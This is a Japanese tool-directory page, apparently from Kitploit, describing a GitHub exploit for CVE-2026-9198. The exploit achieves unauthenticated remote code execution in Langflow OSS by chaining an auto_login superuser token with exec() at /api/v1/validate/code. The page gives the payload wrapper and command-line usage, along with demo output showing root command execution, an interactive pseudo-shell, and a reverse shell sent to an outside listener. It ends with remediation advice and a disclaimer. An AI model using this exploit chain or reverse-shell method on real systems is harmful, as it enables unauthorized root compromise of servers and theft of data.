Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2026-9198_exploit — CVE-2026-9198のエクスプロイト。対象環境における脆弱性を評価するための概念実証ペイロードと検証手順が含まれています。 | Kitploit
ツール/GitHubGitHub/chessalekin/cve-2026-9198_exploit
脆弱性分析エクスプロイトペネトレーションテスト
GitHubchessalekin/cve-2026-9198_exploit

cve-2026-9198_exploit

CVE-2026-9198のエクスプロイト。対象環境における脆弱性を評価するための概念実証ペイロードと検証手順が含まれています。

リポジトリを見る
222ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-9198 — Langflow OSS 未認証RCE

デフォルト構成の IBM Langflow OSS(1.0.0 – 1.10.0)における未認証のリモートコード実行。2つの脆弱性を連鎖させます:

  • CVE-2026-9103 — GET /api/v1/auto_login は、AUTO_LOGIN が有効な場合(Langflow < 1.5 のデフォルト)、認証情報を持たない任意の呼び出し元に SUPERUSER JWT を発行します。
  • CVE-2026-8481 — POST /api/v1/validate/code は、ユーザー提供の Python コードをサンドボックスなしで exec() に渡します。

これらを組み合わせることで(CVE-2026-9198)、未認証の攻撃者が Langflow サービスユーザーとしてコード実行を取得します — これはしばしば root です。

動作内容

  1. /api/v1/auto_login からスーパーユーザーのベアラートークンを要求します(認証なし)。

  2. /api/v1/validate/code にペイロードを送信します。このエンドポイントはコードを「検証」するために exec() します。Python は定義時にデフォルト引数の値を評価するため、ペイロードは関数のデフォルト引数にラップされます:

    def _v(a=exec('<payload>')): pass
    

    コマンド実行の場合、ペイロードはメッセージがコマンド出力である例外を発生させ、エンドポイントはそれをレスポンス(function.errors[])に反映します。

使用方法

./exploit.py -t <target> [options]

  -t, --target     対象ホスト/IP(または完全なURL)          (必須)
  -p, --port       Langflow ポート                          (デフォルト 7860)
  -c, --cmd        単一のシェルコマンドを実行し、出力を表示
      --shell      対話型疑似シェル(各行がRCE経由で実行される)
      --lhost      リバースシェルリスナーのIP
      --lport      リバースシェルリスナーのポート            (デフォルト 4444)
  -k, --token      このベアラートークンを使用(auto_loginをスキップ)
      --timeout    HTTPタイムアウト(秒)                    (デフォルト 20)
      --no-banner  バナーを抑制
  -h, --help       ヘルプを表示

デモ

$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
  auto_login (superuser token) -> validate/code (exec)

[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)

$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b

$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root

# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.

要件

  • Python 3.6+(標準ライブラリのみ — pip install は不要)

注意事項

  • AUTO_LOGIN が有効な場合にのみ動作します(Langflow < 1.5 のデフォルト。>= 1.5 では明示的に LANGFLOW_AUTO_LOGIN=true を設定する必要があります)。auto_login がトークンを返さない場合、対象はこの経路では悪用できません — 有効なトークンをお持ちの場合は -k で指定してください。
  • コマンド出力はレスポンスの function.errors[] に返されます。stderr は stdout にマージされるため、失敗したコマンドでもエラーが表示されます。
  • コードは Langflow のサービスユーザーとして実行されます。それが root の場合(systemd や Docker を root で実行する環境下で素の langflow run を実行する場合によくある)、これはホストの直接的な root 権限となります。

修復

  • Langflow を影響範囲外のバージョンにアップグレードしてください。validate/code は信頼できない入力を exec() してはならず、auto_login はスーパーユーザートークンを発行してはなりません。
  • LANGFLOW_AUTO_LOGIN=false を設定し、実際のスーパーユーザー認証情報を構成してください。
  • Langflow サービスを root として実行しないでください。

免責事項

本プロジェクトは、許可されたセキュリティテストおよび教育目的のみで公開されています。所有していないシステム、または明示的なテスト許可を得ていないシステムに対して使用しないでください。作者は悪用について一切の責任を負いません。

ツールをダウンロード